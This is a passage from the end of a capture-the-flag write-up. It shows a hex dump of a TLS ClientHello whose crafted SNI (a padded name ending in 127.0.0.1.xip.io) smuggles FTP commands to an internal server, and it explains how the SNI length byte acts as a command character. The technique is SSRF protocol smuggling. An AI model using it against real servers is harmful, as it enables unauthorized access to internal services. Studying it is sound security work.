<span class="hljs-number">0060</span>   <span class="hljs-number">38</span> <span class="hljs-number">2</span>e <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>  <span class="hljs-number">8.</span>aaaaaaaaaaaaaa
<span class="hljs-number">0070</span>   <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>  aaaaaaaaaaaaaaaa
<span class="hljs-number">0080</span>   <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>  aaaaaaaaaaaaaaaa
<span class="hljs-number">0090</span>   <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>  aaaaaaaaaaaaaaaa
<span class="hljs-number">00</span>a0   <span class="hljs-number">61</span> <span class="hljs-number">2</span>e <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span> <span class="hljs-number">61</span>  a.aaaaaaaaaaaaaa
<span class="hljs-number">00</span>b0   <span class="hljs-number">61</span> <span class="hljs-number">2</span>e <span class="hljs-number">31</span> <span class="hljs-number">32</span> <span class="hljs-number">37</span> <span class="hljs-number">2</span>e <span class="hljs-number">30</span> <span class="hljs-number">2</span>e <span class="hljs-number">30</span> <span class="hljs-number">2</span>e <span class="hljs-number">31</span> <span class="hljs-number">2</span>e <span class="hljs-number">78</span> <span class="hljs-number">69</span> <span class="hljs-number">70</span> <span class="hljs-number">2</span>e  a<span class="hljs-number">.127</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>.xip.
<span class="hljs-number">00</span>c0   <span class="hljs-number">69</span> <span class="hljs-number">6</span>f <span class="hljs-number">00</span> <span class="hljs-number">17</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> ff <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">0</span>a <span class="hljs-number">00</span> <span class="hljs-number">0</span>a <span class="hljs-number">00</span>  io..............
<span class="hljs-number">00</span>d0   <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">1</span>d <span class="hljs-number">00</span> <span class="hljs-number">17</span> <span class="hljs-number">00</span> <span class="hljs-number">18</span> <span class="hljs-number">00</span> <span class="hljs-number">19</span> <span class="hljs-number">00</span> <span class="hljs-number">0</span>b <span class="hljs-number">00</span> <span class="hljs-number">02</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  ................
<span class="hljs-number">00e0</span>   <span class="hljs-number">23</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">10</span> <span class="hljs-number">00</span> <span class="hljs-number">0</span>e <span class="hljs-number">00</span> <span class="hljs-number">0</span>c <span class="hljs-number">02</span> <span class="hljs-number">68</span> <span class="hljs-number">32</span> <span class="hljs-number">08</span> <span class="hljs-number">68</span> <span class="hljs-number">74</span> <span class="hljs-number">74</span>  #.........h2.htt
<span class="hljs-number">00</span>f0   <span class="hljs-number">70</span> <span class="hljs-number">2</span>f <span class="hljs-number">31</span> <span class="hljs-number">2</span>e <span class="hljs-number">31</span> <span class="hljs-number">00</span> <span class="hljs-number">05</span> <span class="hljs-number">00</span> <span class="hljs-number">05</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">0</span>d  p/<span class="hljs-number">1.1</span>...........
...</code></pre><ol class="list">
<li>The SNI length is 0x69, which is ASCII <code>i</code>.</li>
<li>The data type of SNI length is a 2-byte integer, so it will become 0x00 0x69.</li>
<li>The FTP server ignores all the invalid command.</li>
<li>Both newline and null byte 0x00 can be used to spicify the end of a command in the FTP server.</li>
<li>Because we don&#39;t know the port, one might use iptables to listen on a number of ports.</li>
</ol>
<p>We didn&#39;t come out of this exploitation. Full credit for @kunte_. His/Her explanation is <a href="https://files.veryhax.ninja/writeup_idiot_camera.txt">here</a>. Many thanks to him/her! <strong>Note that I didn&#39;t check if the payload works or not</strong>.</p>
<p>Acctually, the protcol smuggling technique is referred in the <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf">2017 Blackhat by orange</a>. It&#39;s really a shame that I didn&#39;t think of exploiting SNI, because my research about DDoS mitigation utilizes SNI in the implmentation.</p>
<p>By the way, it&#39;s cool challenge! That&#39;s a very intriguing way to smuggle the protocol. You can check out the author&#39;s setup album <a href="https://imgur.com/a/lrIQto5">here</a>.</p>
        </article>
      </div>
    </div>
  </body>
</html>
